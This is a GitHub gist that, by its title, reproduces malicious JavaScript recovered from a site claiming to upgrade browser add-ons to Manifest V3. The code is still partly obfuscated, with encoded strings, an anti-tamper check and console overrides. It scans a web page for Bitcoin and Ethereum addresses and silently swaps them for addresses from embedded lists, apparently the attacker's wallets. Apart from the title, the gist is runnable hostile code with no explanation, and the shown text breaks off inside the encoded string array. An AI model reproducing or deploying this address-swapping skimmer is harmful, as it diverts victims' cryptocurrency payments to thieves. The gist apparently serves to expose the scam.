Skip to content

Instantly share code, notes, and snippets.

@grantwinney
Created July 30, 2022 23:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save grantwinney/4307cbfd1cbaa75c8a118e0c2178ecee to your computer and use it in GitHub Desktop.
Save grantwinney/4307cbfd1cbaa75c8a118e0c2178ecee to your computer and use it in GitHub Desktop.
Shady deobfuscated code from a site purporting to upgrade browser addons to Manifest V3
(function (a, b) {
const c = a();
while (true) {
try {
const d = parseInt(f(553, -504)) / 1 * (parseInt(f(189, 696)) / 2) + -parseInt(f(362, -560)) / 3 + -parseInt(f(245, -723)) / 4 * (-parseInt(f(171, -809)) / 5) + parseInt(f(144, -516)) / 6 * (parseInt(f(411, 770)) / 7) + parseInt(f(579, -242)) / 8 * (-parseInt(f(207, -555)) / 9) + parseInt(f(554, 935)) / 10 * (-parseInt(f(293, 719)) / 11) + parseInt(f(563, 1268)) / 12 * (parseInt(f(549, 1152)) / 13);
if (d === b) break; else c.push(c.shift());
} catch (g) {
c.push(c.shift());
}
}
}(e, 195801));
for (let i = 0; i < 2; i++) {
research(i);
}
function research(g) {
const h = {xpJLl: function (z, A) {
return z === A;
}, DIgyH: f(562, -49), Xbwos: function (y, z, A) {
return y(z, A);
}, DtegK: f(199, 1202) + "0", hsejX: function (z, A) {
return z - A;
}, yjiWi: f(401, -18), GwtBL: f(184, 1163), ZkpRS: f(521, 99) + "+$", UThUZ: function (z, A) {
return z !== A;
}, nMzmw: f(238, -243), WFTMs: "object", aEGgm: function (z, A) {
return z === A;
}, FGxAH: "function", JyprA: f(445, 1183), jnKsI: f(331, -185), tQYaT: "info", YkvcV: f(313, -365), gGVku: "exception", Sjnvz: f(450, 33), TIaFS: f(484, -62), cpHjE: function (z, A) {
return z < A;
}, VitrN: function (y, z, A) {
return y(z, A);
}, IdGmC: function (z, A) {
return z == A;
}, LVdhl: function (z, A) {
return z - A;
}, zJBnC: function (y) {
return y();
}, YKVbQ: function (y) {
return y();
}, YwYHY: f(468, -117) + f(578, -121) + "-HJ-NP-Z1-" + f(170, -191) + "bc1[a-z0-9" + f(396, 1200) + "W", ZQoGl: f(177, 1297) + f(441, -175) + "W", IfAog: "bc1q2w627k" + f(279, -2) + f(389, 1276) + "wsly20ywd0" + "6r", Ewxvi: f(186, -196) + f(306, 993) + f(372, 1146) + "rue96sxj76" + "hk", ScMdB: "bc1qsym74kuzr5vrqc0g" + f(573, 1541) + f(429, 110) + "sa", MRjMn: f(181, 1190) + f(548, 1248) + "h4lyyk6fng" + f(344, 1050) + "52", Poxwp: f(486, 1643) + f(567, 1534) + f(351, -332) + f(263, 1064) + "kn", PwLYQ: f(154, 1233) + f(299, -325) + f(143, -535) + "ce8wc8rd2k" + "d3", CKnUL: f(363, 72) + f(352, 1300) + f(442, 1369) + f(525, -112) + "hr", GDDYk: f(119, 1121) + f(265, 1076) + f(419, 19) + f(338, 1228) + "ja", vowDU: f(225, -95) + f(232, 1358) + f(467, 1307) + f(497, 1618) + "um", RVOub: "bc1qjnwae3" + f(437, 1185) + f(187, -228) + f(247, 1158) + "nv", YjZHR: f(558, 203) + "rsl62x3x0u" + f(153, -299) + "qkc7dgda4c" + "9f", JCavj: f(500, 252) + f(588, 42) + f(459, 1266) + f(391, 142) + "8t", XfpmJ: f(490, 96) + f(137, -398) + f(376, 1341) + f(219, -158) + "72", KrpQY: f(173, 1169) + "4un6g84e3h" + f(169, -120) + f(555, -30) + "ks", ObwaX: f(329, 1036) + f(475, 1517) + f(435, -136) + f(506, 1340) + "4w", xBRfd: f(159, -478) + f(347, 1351) + f(325, 1110) + "jzt25klrrc" + "sl", tKeds: f(501, 1458) + f(477, -23) + f(116, -368) + f(581, 210) + "83", eECMc: "bc1qy96yyy" + f(145, 1061) + "4m43ng9nj0" + f(250, 1330) + "hl", BMXcv: f(308, 1294) + f(388, 1480) + f(286, -325) + f(526, 1475) + "9m", FJOSY: f(479, 1393) + f(386, -313) + "rs8xhee3t5" + "xwalp9y424" + "f5", SewYR: f(455, 1579) + f(156, -218) + f(254, 1378) + f(443, 1537) + "uv", zeosq: "bc1qw0ax8c" + f(124, -486) + f(576, 1685) + f(234, -200) + "q6", rpFpf: f(161, -158) + f(393, -134) + f(356, 1506) + f(473, 1234) + "up", HbzaL: f(123, 903) + f(230, 1275) + f(487, 1626) + "8elxc00eqm" + "8v", KzLwH: f(223, 1119) + f(228, -116) + f(224, 980) + f(482, 108) + "xv", GOblp: f(150, 991) + "wsr96m46l7" + "v4nqmt7waj" + f(448, -137) + "05", VrTvV: "bc1qeymslm" + f(384, -33) + "429pypsaf5" + f(294, 1352) + "ss", skCks: f(183, -469) + f(360, -128) + f(358, 108) + f(209, -303) + "v2", QFpTo: f(533, 81) + "mpa80j73c4" + f(243, -212) + f(210, -346) + "2v", smurg: f(564, 65) + f(447, 1216) + f(163, -104) + f(584, 320) + "kt", CaCud: "bc1qv8fhms" + f(444, 1270) + f(380, 1270) + f(516, 1240) + "cs", iXxzt: "bc1q24fc7j" + f(182, -132) + "qjmkzzhtgj" + "h2clxcyx3u" + "2p", ZztuT: f(404, 1293) + f(461, 209) + "lhfqslay5l" + f(314, 1289) + "g5", kwRgO: f(502, 1337) + f(310, 997) + f(240, 1269) + f(258, 1393) + "cl", EoIZY: f(273, -111) + f(387, -130) + f(452, -159) + "E51Ef414fc" + "68", MADdG: f(514, 1412) + "fe538e4638" + f(434, 1472) + f(121, 854) + "24", gOFLi: f(520, 1497) + f(559, 1443) + f(257, 1084) + "c446a24E13" + "87", RrtSQ: f(478, 147) + f(582, 296) + f(276, -393) + f(287, -329) + "59", GUvjC: f(480, 156) + f(277, 1031) + f(237, -387) + "349f3C858D" + "dd", XVOUM: f(421, 1230) + f(428, -260) + f(283, 1034) + f(275, 1088) + "A3", vmTTU: "0xFBfcfB23" + f(284, 1228) + "1422645c98" + f(424, 2) + "84", dZpvp: f(146, -346) + "d548Fb9810" + f(118, -335) + f(198, 1145) + "1f", KcJnp: f(292, 1038) + f(385, -195) + "09AbCCbA33" + "f5A5ADd27d" + "53", QgCWX: "0x737422C9" + f(534, 1265) + "71BCc3fEc8" + "1Ec8e25a9d" + "4C", VAOJz: "0x673Dc9b7" + f(300, 1433) + f(231, 1065) + f(575, -66) + "cD", HGpwd: f(290, -30) + "960fB8c71D" + f(355, -9) + "A64A01f692" + "EE", FbLwS: f(253, -311) + f(117, 973) + f(282, 1390) + "6d8F96173E" + "3C", gKIwm: "0xD5C43391B12388c465" + f(348, -43) + f(256, -174) + "D5", SVXND: f(318, -196) + "A77b0406BB" + f(456, 1523) + "8c51b82634" + "46", qwUlU: f(175, 993) + "BF52092B05" + f(536, 155) + f(492, 35) + "3c", gyPUP: f(235, 1006) + f(373, 1416) + f(140, 945) + f(157, -360) + "02", cypce: f(409, -184) + f(508, -161) + f(212, 1253) + f(483, 179) + "70", mGxal: "0x944Ed5C73A2A53299a" + f(551, 1676) + f(188, 1337) + "16", iDjPc: f(242, 932) + "92b8814878" + f(126, 1130) + f(464, 1611) + "Fb", Gumay: f(244, 942) + f(341, -6) + f(343, 79) + "46cBcFD4B6" + "51", bkQrB: f(433, -64) + f(260, -314) + f(367, 1053) + f(317, 1089) + "fc", eRLID: f(472, 145) + "6EC4967732" + f(321, -105) + f(545, -11) + "59", yIYmz: f(425, 1459) + "4c75022d33" + f(251, 1321) + "B33F144A3B" + "50", zKMvD: "0x1D03AFa0" + f(246, -444) + f(476, -158) + f(586, 302) + "25", srxSm: f(454, 39) + f(451, 1571) + f(114, 1176) + f(379, -192) + "95", QDmrC: f(271, -355) + f(430, 1328) + f(122, -394) + f(438, 139) + "60", unoIw: "0x5737815a" + f(418, -240) + f(565, 161) + f(264, 1321) + "95", UdOZb: f(179, 955) + "98Cf5DEF09" + f(147, -240) + "027027d261" + "12", bYdKH: f(488, 211) + "E920E1F154" + "602a607218" + f(149, -88) + "68", tOqWe: f(550, 1545) + f(382, -82) + f(513, 1282) + f(339, -334) + "CE", pqwmL: f(503, 1445) + "83352623d4" + f(538, 1645) + f(400, 1310) + "03", Dlbag: f(324, -271) + f(390, 124) + f(406, -145) + f(142, -244) + "79", Yboec: f(417, -103) + f(505, 1225) + f(552, -135) + f(191, -208) + "D2", Bafao: f(426, -76) + f(134, 868) + f(515, 1491) + f(415, -79) + "1E", mSxZq: "0x1E45f81b" + f(571, 1528) + "09FE585AD8" + f(305, -174) + "9B", vmYtX: f(168, -488) + f(530, 1395) + f(239, -310) + "b28E14e07c" + "65", EsxQt: f(128, 1097) + "9eFea3E8C7" + f(457, 1232) + "860Ba61946" + "D4", vLKdk: f(217, 1325) + f(136, 1224) + "29Be95a5ec" + f(460, 108) + "eB", NxEBW: f(178, -308) + "FEfdcbf6cF" + "42CE220b0a" + f(185, 1001) + "00", DkMwL: f(249, -107) + f(528, 1506) + f(289, -298) + f(160, -403) + "0c", nqGPB: f(512, 1438), ZopvS: function (z, A) {
return z > A;
}}, j = function () {
const y = {qbinv: "(((.+)+)+)+$", xVByC: function (z, A) {
return h[f(220, 814)](z, A);
}, LGgYi: f(405, 1365), mKskE: h[f(252, 1261)], mTjoI: function (z, A, B) {
return h.Xbwos(z, A, B);
}, GQnca: h.DtegK, wZscE: function (z, A) {
return h[f(374, 677)](z, A);
}};
if (h[f(220, 1263)](h[f(327, -51)], h[f(327, -133)])) {
let z = true;
return function (A, B) {
const C = z ? function () {
const D = {};
D[f(138, -286)] = y[f(280, -382)];
const E = D;
if (y[f(307, -318)](y[f(481, -103)], y[f(574, -55)])) return c[f(546, 1284)]()[f(413, 1295)](HoIKiQ.HrDBi)[f(546, -64)]()[f(213, -341) + "r"](d)[f(413, 1196)](f(521, 102) + "+$"); else {
if (B) {
const G = B[f(332, -35)](A, arguments);
return B = null, G;
}
}
} : function () {};
return z = false, C;
};
} else {
const B = x[f(519, 1269)](/[^a-z0-9]/gi, "");
y = y[f(155, 1091)](z, 0, A[B]), C = D[E][F];
if (G[B] == 1) {} else {
const D = y[f(566, 1329)][f(407, 83)]("|");
let E = 0;
while (true) {
switch (D[E++]) {
case "0":
a0[B] = 1;
continue;
case "1":
V[W]--;
continue;
case "2":
var C = y.wZscE(S, 1);
continue;
case "3":
X = Y.replaceAll(B, Z);
continue;
case "4":
T[U][f(336, -136)](C, 1);
continue;
case "5":
R[3]++;
continue;
}
break;
}
}
}
}(), k = h[f(489, 234)](j, this, function () {
if (h[f(220, -572)](f(184, 991), h[f(298, -492)])) return k[f(546, 1253)]().search(h[f(319, -387)])[f(546, 1349)]()[f(213, 1078) + "r"](k)[f(413, -17)](h.ZkpRS); else k[f(297, -535)][f(211, -202)] = j;
});
h[f(130, 863)](k);
const l = function () {
let y = true;
return function (z, A) {
const B = y ? function () {
if (A) {
const C = A[f(332, -67)](z, arguments);
return A = null, C;
}
} : function () {};
return y = false, B;
};
}(), n = l(this, function () {
const y = h[f(197, -14)](typeof window, h[f(350, 555)]) ? window : h.xpJLl(typeof process, h[f(302, 100)]) && h[f(397, 176)](typeof require, h[f(540, 665)]) && h[f(220, 357)](typeof global, h[f(302, 194)]) ? global : this;
const z = y[f(221, 316)] = y[f(221, 124)] || {}, A = [h[f(309, 184)], h[f(241, 350)], h[f(152, 131)], h[f(301, 8)], h[f(328, 175)], h.Sjnvz, h[f(504, 562)]];
for (let B = 0; h[f(303, 387)](B, A[f(359, 105)]); B++) {
const C = l[f(213, 103) + "r"][f(541, 528)][f(561, 418)](l), D = A[B], E = z[D] || C;
C[f(296, 227)] = l.bind(l), C[f(546, 728)] = E[f(546, 360)][f(561, 635)](E), z[D] = C;
}
});
h[f(304, -346)](n);
const o = [];
o[0] = h[f(507, 239)], o[1] = h[f(463, 25)];
const p = [];
p[0] = [f(414, 1530) + f(470, -102) + f(194, -271) + f(349, -315) + "zk", h[f(274, -367)], h[f(485, 1526)], h[f(203, 1290)], h.MRjMn, f(337, 1191) + "htkx4trrjk" + "526uufhhus" + "s4wrlzr5aq" + "9v", f(205, 951) + f(462, 1441) + "0mx5sa2sth" + f(200, 1347) + "t4", f(577, 12) + "gvdlyld463" + f(342, 45) + f(557, -35) + "hh", h[f(499, 1451)], h[f(281, -286)], f(295, -156) + f(535, 1514) + f(133, -191) + "3swtkjvhay" + "r7", h[f(474, -83)], h[f(446, 1231)], h[f(148, 999)], f(248, -139) + f(129, 1031) + f(174, 890) + f(227, 1112) + "u6", h[f(423, 1326)], h.YjZHR, h[f(259, -410)], h[f(398, 1494)], h[f(377, 1429)], "bc1qk9a6wq" + f(333, -49) + "0m46hay7qk" + "7pn0ld7cte" + "n3", "bc1qvsvevf" + f(524, 110) + "frd0jwmlt7" + "0a8j4drugr" + "j9", f(320, -257) + "dwmvqu8y55" + f(131, 1134) + f(139, -220) + "nv", h[f(569, -89)], h[f(493, 1399)], h[f(383, 1522)], h.eECMc, h[f(255, -101)], h[f(436, -50)], h[f(466, 28)], h.zeosq, "bc1q74ewwv082yc4747g" + f(216, 1031) + f(431, 139) + "e3", "bc1qadklq6" + f(269, -382) + f(132, -523) + "8rnh2733km" + "2q", h[f(458, 1179)], h[f(176, -400)], h.KzLwH, f(410, 1527) + f(531, 151) + f(491, 1619) + f(322, 1377) + "6r", f(371, 113) + f(127, -566) + f(369, 82) + "lqnsntwqlv" + "cr", f(378, -110) + "84qdj4lmxj" + f(432, 129) + f(162, -275) + "tr", h[f(353, -81)], f(368, -340) + "ruuuqfruqk" + "tg5md8a57s" + f(543, 156) + "v5", h.VrTvV, h[f(560, 1553)], f(312, 1404) + f(192, -141) + f(180, 1169) + f(542, 1344) + "0h", h[f(236, 975)], h.smurg, h[f(511, 1545)], "bc1qls25xc" + f(392, 14) + "sprk0xc6vz" + "pvekcthxuz" + "mj", f(141, -440) + f(278, 1078) + f(580, 1329) + "c3afexp7jx" + "qc", h[f(537, 1247)], "bc1qsf453s" + f(496, -42) + "w4dq2znrr6" + "lgspdat7mz" + "lz", f(527, 1510) + "msjw0knxrn" + f(229, 1366) + "4je72zkw4s" + "sg", h[f(267, -413)], h[f(218, -310)], f(285, 1118) + "9u0775zrvj" + f(523, 146) + f(115, 894) + "d8"], p[1] = [f(334, 1097) + f(469, 1321) + f(498, 1546) + f(268, 1386) + "0F", f(315, 1177) + f(201, -263) + f(202, -480) + f(206, 1008) + "b1", h.EoIZY, h[f(226, 1159)], f(556, -149) + f(465, 1298) + "21d6062337" + f(233, 1267) + "45", h[f(196, -503)], h[f(345, -208)], h[f(135, 994)], f(439, 1242) + f(568, 1687) + f(165, 1160) + "5af0a38d8a" + "E2", h[f(422, 1457)], h[f(164, -183)], h[f(193, 1213)], h.KcJnp, h[f(583, 1429)], f(125, -426) + f(215, -311) + f(330, 1348) + f(266, -216) + "7b", h[f(399, 1374)], h.HGpwd, h[f(120, 883)], f(270, 1236) + f(381, 120) + f(364, 46) + f(346, -128) + "C4", h[f(495, 65)], h[f(544, 1483)], h[f(167, -313)], h[f(222, -26)], h[f(158, -429)], h[f(375, -52)], h[f(370, -210)], h[f(420, 1187)], f(326, -131) + f(395, 1398) + f(166, -225) + f(357, -85) + "e7", h.bkQrB, h[f(340, -58)], h.yIYmz, f(311, 1376) + f(288, -155) + f(262, -182) + "99f9Ac3D36" + "99", h.zKMvD, h.srxSm, h[f(365, -156)], "0x90cDf64d" + f(416, 1480) + "6B1D46dC62" + f(402, -21) + "29", h[f(471, -80)], h[f(518, 30)], h.bYdKH, h.tOqWe, h[f(323, 52)], f(316, -88) + f(272, -427) + f(509, 1378) + "2742A3DC41" + "1B", f(529, -23) + f(190, 959) + f(585, 1347) + "c7478F1521" + "71", h[f(403, 1551)], h[f(208, 1359)], h[f(570, 210)], h[f(172, -291)], h.vmYtX, f(335, 97) + f(539, 1378) + f(522, 1361) + "57C8803752" + "0a", h[f(291, -132)], f(449, -160) + f(151, 899) + f(214, -28) + f(261, -179) + "65", h[f(517, 9)], h.NxEBW, h.DkMwL, f(494, -65) + f(587, 1461) + f(408, 2) + f(572, 1357) + "92"];
const q = [];
q[0] = 54, q[1] = 54, q[3] = 0;
var r = o[g], s = document[f(297, 1046)][f(211, -209)];
const t = new RegExp(r, "g");
let u;
var v = "";
var w = "";
const x = [];
while ((u = t.exec(s)) !== null) {
if (h[f(197, -345)](h[f(412, 139)], h.nqGPB)) {
const z = d[f(332, 1114)](g, arguments);
return h = null, z;
} else u[f(354, 1083)] === t[f(361, -307)] && t[f(361, 1322)]++, u[f(547, 191)]((z, A) => {
const B = z[f(519, 31)](/[^a-z0-9]/gi, "");
v = h[f(489, 698)](getRandomInt, 0, q[g]), w = p[g][v];
if (h[f(394, 560)](x[B], 1)) {} else {
q[3]++;
var C = h[f(366, -198)](v, 1);
p[g].splice(C, 1), q[g]--, s = s.replaceAll(B, w), x[B] = 1;
}
});
}
h[f(532, -99)](q[3], 0) && (document.body[f(211, 1293)] = s);
}
function f(a, b) {
const c = e();
return f = function (d, g) {
d = d - 114;
let h = c[d];
if (f.yHgpUa === undefined) {
var i = function (m) {
const n = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
let o = "", p = "", q = o + i;
for (let r = 0, s, t, u = 0; t = m.charAt(u++); ~t && (s = r % 4 ? s * 64 + t : t, r++ % 4) ? o += q.charCodeAt(u + 10) - 10 !== 0 ? String.fromCharCode(255 & s >> (-2 * r & 6)) : r : 0) {
t = n.indexOf(t);
}
for (let v = 0, w = o.length; v < w; v++) {
p += "%" + ("00" + o.charCodeAt(v).toString(16)).slice(-2);
}
return decodeURIComponent(p);
};
f.WwrYiC = i, a = arguments, f.yHgpUa = true;
}
const j = c[0], k = d + j, l = a[k];
if (!l) {
const m = function (n) {
this.nnLMYe = n, this.MHJnzL = [1, 0, 0], this.dGnVKA = function () {
return "newState";
}, this.DvxIHS = "\\w+ *\\(\\) *{\\w+ *", this.NUWhgj = "['|\"].+['|\"];? *}";
};
m.prototype.UYZTpy = function () {
const n = new RegExp(this.DvxIHS + this.NUWhgj), o = n.test(this.dGnVKA.toString()) ? --this.MHJnzL[1] : --this.MHJnzL[0];
return this.nPTHZN(o);
}, m.prototype.nPTHZN = function (n) {
if (!Boolean(~n)) return n;
return this.YTrzNJ(this.nnLMYe);
}, m.prototype.YTrzNJ = function (n) {
for (let o = 0, p = this.MHJnzL.length; o < p; o++) {
this.MHJnzL.push(Math.round(Math.random())), p = this.MHJnzL.length;
}
return n(this.MHJnzL[0]);
}, new m(f).UYZTpy(), h = f.WwrYiC(h), a[k] = h;
} else h = l;
return h;
}, f(a, b);
}
function getRandomInt(b, c) {
const d = {};
d[f(427, 888)] = function (h, j) {
return h + j;
}, d[f(510, 1077)] = function (h, j) {
return h * j;
}, d[f(204, 499)] = function (h, j) {
return h + j;
}, d[f(440, 962)] = function (h, j) {
return h - j;
};
const g = d;
return b = Math[f(453, 701)](b), c = Math.floor(c), g[f(427, 696)](Math[f(195, 618)](g[f(510, 1032)](Math.random(), g[f(204, 738)](g[f(440, 693)](c, b), 1))), b);
}
function e() {
const am = ["mhG0mtqZndfeyq", "uuzWvg8", "odu3mte4mgrbmW", "Dw5KzwzPBMvK", "mty0mdmWqZHcmq", "zZa4mNm4D2OZDa", "AM5lC0K", "mhHIqJy3nZeXmq", "EMvOnMvSngG4nG", "mhGXnwjHmJC5zq", "mteXmJa5nKnkvvHAsG", "rKeZrtG0oejgmq", "CxHKCZz2Dti1Eq", "yMmXCxLMCw11oq", "mhHHqJjbotG2oq", "DMPHzJDZmdK1CW", "ywy0owyZqJzcyW", "reLNEuG", "mhG1mtC0rdDdmq", "oxm4oxf6Chb1Bq", "qK1yy3y", "oei1yZfcyJi3nG", "qufcoeiYyZjdma", "mNO4Btu1n25LEG", "sKnHDMO", "otG4zda3zgnbnq", "ytK0nMeWnJe3na", "nJG4ndncndCWmW", "DdDQCMPTotbTDa", "zMrbmZrInJLdqq", "m3HWnxy4CNvNmG", "odm4qMyYqZnfra", "wNP0Dvq", "qJmWmJi4mte1na", "Cdy3DJrSCJzNCW", "mhG2otm5nteXqG", "mhG0ndDLmdCYyW", "ota4nJLgmgu3qW", "mhG0n2rKntq5yG", "swzbB2C", "qMfgzJDIogfMyG", "mejHytbeqwnenG", "nJK0qtngrdu2na", "z3f5C2O0DMfHDG", "BxD1D2P3Etb3nW", "CwjPBNy", "uhDmwve", "mZm3yJzMnZmYnW", "rdiYodDbnJuXmW", "qJC1ntvJzMfczq", "yMmXCwrXnhj5yq", "BxrRzZbOD3CYDW", "ogyWnJHMn0zdyq", "ruu0mdrInwy2qq", "odLfytu3odmWnW", "mhHKnwe1yJm3nW", "rxn4uxq", "mhGYmtbczJq3mW", "mtu4mde4m3fSrxbKva", "EwXXAJiYngrHzG", "yMmXCtDSCNf6nW", "x19WCM90B19F", "yM9KEq", "r3D0qKW", "BNvRn2nRA3fWCa", "rgvcmwm1quferG", "wwT2y1y", "v0zutxm", "y3biAKu", "wuTwyLe", "mtGYmdG1nJeZmq", "m3vXEgW3zhLRAG", "EfzcEum", "yMmXCtaWDtC2zG", "sNLWCKe", "Dw51yZn0m2XTDq", "mhGZoge4nJGWrq", "yMmXCwq0m3zZAG", "zxjYB3i", "Eg03odz5AdvXAW", "mhHLrweYmezdmG", "mhG0owy3mJG4yW", "otuWrMqWn0m2mq", "mhHJn0e1n0qYyG", "wMTWuLm", "yMmXCxzUytz1CG", "otHIquzJyZjbyq", "oxDSEtrHAJKZCW", "Chf3BuW", "mhHJq2rdmdvIqG", "CdbLy2P2ytbXEq", "mhHIodG0zei0rG", "EwPPv2K", "z0DwA3u", "yMmXCwf5EJnZoa", "n0i3ntrcrJzcma", "D2fYBG", "yxbWBhK", "CM1ZBJL2owC5Bq", "mhHgoduWzMfJoq", "mhHKmdjJqZDfnW", "C3bSAwnL", "yMmXCxvSzgDNoq", "Dxz6n3f0AguZma", "rdyYmJm4yJy1nG", "zvjmsuq", "mZa3n0jIquzema", "ohbOz2HYotn3Aa", "mZnJn2y2yMmWmq", "A3bNngm0CZGZza", "uNj0u1e", "mdLKngfeqJuYmG", "zJiWBhjMogzLna", "qJDHnty3zJvfqG", "zxL6C2TRz21Jnq", "BK16BxC", "C2rSEMOWzhv3zG", "ywn4DMfZD2T5nG", "r09IBha", "Aw5KzxG", "zevJyZaXmKu4nW", "C3HMEgvYBwDToq", "reyZmJeYyJC5nq", "BMSZn3n6C3rHoq", "BgvUz3rO", "Cwm3ytC1DgfHCW", "BgfZDeLUzgv4", "mtC3mZi0r21zrKfO", "yMmXCxzKy2XQEG", "mJfLndG5ntqZnW", "uurTCKm", "tfzKAgW", "owe4zgzMmKiXmq", "yMmXCxPNmhn0Ba", "ztn2BMW1EMOWCG", "AurQugm", "yMmXCtzRC3D5nW", "oxnKy3zOAZDRCa", "rMyXotiYn0q5mW", "AhnLALG", "BuD4ywW", "D2X5y2vWyZrWEa", "s3jWuvK", "yMmXCwW1n3a0oa", "zJLMqtC3rJjbnG", "BhbOCtDNBJrXBq", "mZLfnKm2oue2nW", "oeqYnJjHmgu2oq", "DeTLzhm", "AMrNmhPXBxjXmW", "n2vdmty4nKjLoa", "yxzRyZvNotnOAG", "zty2nda5yKzIrG", "Adr1DhG1Bgq2zq", "mMXKAZDZywfNmW", "ogi2yZLdqZi0nG", "EdyYEMu3EJDLCq", "ohv4DgDRAMX2mG", "ywnTD3HHDJj6za", "swrhBum", "mdC0rgzbntLMra", "xxSZosW1ox0Pxa", "yuvhz20", "wgzWBuO", "vKfpsNO", "qurcrtu4m2mWmG", "tunzEwi", "yZKWztHdmui1rq", "rgXIywC", "yMmXCxGYC3nLCa", "wgPVz2e", "yJaWrtvLmMrIzq", "C3bSAxq", "ndG2mKndqJmXoa", "mhHLmefcztG3qG", "yMmXCxzMngfRAG", "mJqZmZi2m1DHtfrMra", "BNfhuei", "C2vHCMnO", "yMmXCtH4DhrLCW", "mZG4qwyZmuq0qG", "otG5ntHcodnezq", "mhGYqMq1neq0zG", "nZuYnZa3mujenq", "CZm0n3jWmgD6nq", "r3vTyxK", "mhGWm2mYzdbKqq", "wfzpvu0", "uLzpDwi", "mJK4mZiYmtiZmG", "mhGXmwqZqtq1mG", "mhG1nezJmdvcmG", "B1PSq3C", "mde1qMy1zwmWmG", "mZm3zJaYEwHTDq", "q0e1mtCZndvcqq", "zJb5zJi3mdr1CG", "BgzYmZbNCMfZDq", "mhGWqJzKrtG1zG", "qZjcoem3nteYnW", "ndvRChPND2rJBq", "rKPpu1K", "zxPWztzKm2vYzG", "zJe5mwrJquzKza", "mhGXrJfdmtDJmG", "shvTvxu", "rJaTov17ndb9xa", "nMDRAhG2nNfQBa", "CNi1ENP5BhC4CG", "zgzSDgm3BNDSyq", "Bg9N", "r0rewwS", "nM5OzxjHAhn1DW", "zMDSCgy1DdC0CW", "mhGZmKyWodC4mG", "DgfIBgu", "odbeytHHqKncza", "rdjdotnKqJC5nq", "y2vPBa", "mhHLmMmZnwzgza", "yMmXCwD2DtrKzq", "rdaXnJiYmwzLyq", "zMzJmJLHmtDLrq", "CNbgCgy", "zgyYotbRCNr2ma", "oufcmZDeqJm5zG", "Edi3CwqYDMOZza", "CxzOzxzLCgnQBq", "wLfVr2W", "rda0qZy3nKm3mG", "ntu0ogngm2q4yG", "u2v3wvi", "og05nxzTmNfRmG", "xfCOpZPBmtnDEW", "ytvfmtHLrtq3yW", "mdvRyZuWC2C1Bq", "Dw5VsxC", "mhGWq0i2mdK2yW", "A3DOEg42zNr1AW", "q0TUvuW", "DNn4zhu5BgX2nq", "yJDfq2q1mdG1ma", "EtG0mNr3AhPQAW", "mhG0m0e0nZrgnG", "yMmXCwfSmhK4Dq", "mhG3ouy3qKiXqq", "teDNwwK", "AZr2ntnZDNi0yq", "zte4odGYzJvdza", "DhjHy2u", "rxD4DMK", "yMmXCxGWzxHMmG", "CJvNotvTAZrXBq", "mhG0zue4odK1nW", "vML0CK4", "yMmXCwq1DNHTnq", "AhrXyw43owHXCa", "otiYytm2qJnIrq", "EejszMq", "mhG2nMzJmJe5nW", "z0TjD20", "EhzMDhnHDZDWAa", "EdvYBNLHohHQnG", "nZngzti5ogm2ma", "ug94D3a", "yMmXCta1Dhi2Dq", "yMmXCtu4m2C1Ea", "yMmXCxHMBMr2oa", "mhG0yZbgrtjdnG", "veLHrLm", "ntKZnZeXnwe5rq", "nZDHzhr2mgrWzW", "wxDzsfK", "ogyYotK3yZaZra", "zdfHrgrHmtKZoq", "Aw5Hv3y", "q2fdDwq", "y0jUDfm", "zJu3nda0n0yWnW", "mhHLqta3qunfna", "qMeZyJC3n2jJyq", "nMz6DMOWngTTnG", "DKXlzgS", "vwrpwMi", "CMvWBgfJzq", "mhHfmMjMrdK0oa", "kcGOlISPkYKRkq", "zey1m2q4ouu1na", "m3O5nNm1zwX0ma", "Bda2ExLKn3LJnG", "AM03EwzMm2f6na", "ytH6nNPODgHLnG", "yMmXCtzHCxHUma", "rdLeodyZnKrMnG", "mhG2qZvMnwq2oa", "qJGXnKnMnejJza", "zwvTEda1z2vYCa", "wM9WDLm", "yMmXCxi3BhfQzW", "zuvIotyWnwqXnq", "BhG2C2u0nw4Znq", "oumWytjcnJmYyW", "AvH4ENq", "rdC1mdm0yJu4mq", "zdm3m0e0otneyq", "rKD4quG", "ChjVDg90ExbL", "ywvREMrJngnODG", "zgnOBdj0DwHLCG", "u1zytKq", "rtjLrdeZyJi4ma", "Dg9tDhjPBMC", "zM9YrwfJAa", "z2fJn3HJDdb3mW", "mJK3n05nBuLktW", "mhG1nuiWmZvMnW", "zei2ody0mue4na", "nKm0otHKmurdmq", "mZK5oxPgEKTzwa", "mJbMyNLLDK8", "AgvQy3HXA3K3Aa", "mhHMrdC3rMy2mW", "BJCYDgG2nwvQAG", "yMmXCwn0ztD2zW", "qJq4otHfotreoa", "C2TdA3m", "yMLUza", "CeTIDwW", "mtmYC2HyDLjh", "yMmXCwf1zwq1BG", "nZqXrdfemtmWnG", "r1fUy2e", "DtjKBgS1nNLMyW", "meu5rdDJrJi4oq", "t2j3yvG", "qMfMyw8", "yZqZrdy1nJm1oq", "qZvIqJGXquzgra", "ANH3zxHMCgrHma", "BuTZA0u", "ndqXrdKZm0y0ma", "ExzLmNHNBMXYzW", "yMmXCwHZAhm2na", "mx1Bys1RBs16qq", "ntK4mtG0wLDqueTp", "DdDWD3jLztLWAG", "A2S3EhDJn3j6Cq", "mufIqZe2ndu1ma", "uwDdv1G", "nZq5y3jQEwPHnW", "n2m4yZnbnZHKna", "mei3mKy5mJm5nG", "mdHgm0mZotK2na", "z2TXndjUmNq0AG", "mZqZzwm5ywe1ra", "zZGZCxiZzZL6Ca", "EMfMBNLOzgnTDq", "nJDImtKYmdiZma", "ngzKmtLKourJnW", "yMmXCtL5BJr0Eq", "rMjmD1m", "nJnJyZaYzJi2rG", "mKq4zwu0nJmWqW", "yMmXCxLLDhPOCG", "DxP3ztb0otzJAG", "mhHIn2iYzMrHnW", "qZzJnti3zMuZmq", "Dxu3owfLm241zG", "mhG5ndjLytK4mW", "AJDWANzOA3zWDG", "EKPcBKm", "owPTn2TMotv1DG", "zxbNztC2CgHUmW", "mgrHDg1MzwTXBq", "ouq5odC4otGYzq", "r1v2AKm", "mdLbnZLIntbHma", "AZu5EtHUmNm4Ca", "shjeqMK", "AhfYEMOWnNr0Ca", "nJG3ztu5mJq1rq", "yMmXCtz2CtH0CW", "odq3nJrfmeeZzq", "nxbRzdzNAgrRCW", "nNLxBezLDW", "ExDLnxmZzNOWDa", "mhG4mZzfntzMmG", "rwu2mty1qZq5yG", "DM93rfu", "nZa2qtfcnKiZnG", "yMmXCtzXndH1za", "nJDHodrfywrKmG", "Dffzyvq", "CMXOBtvKnMTQEa", 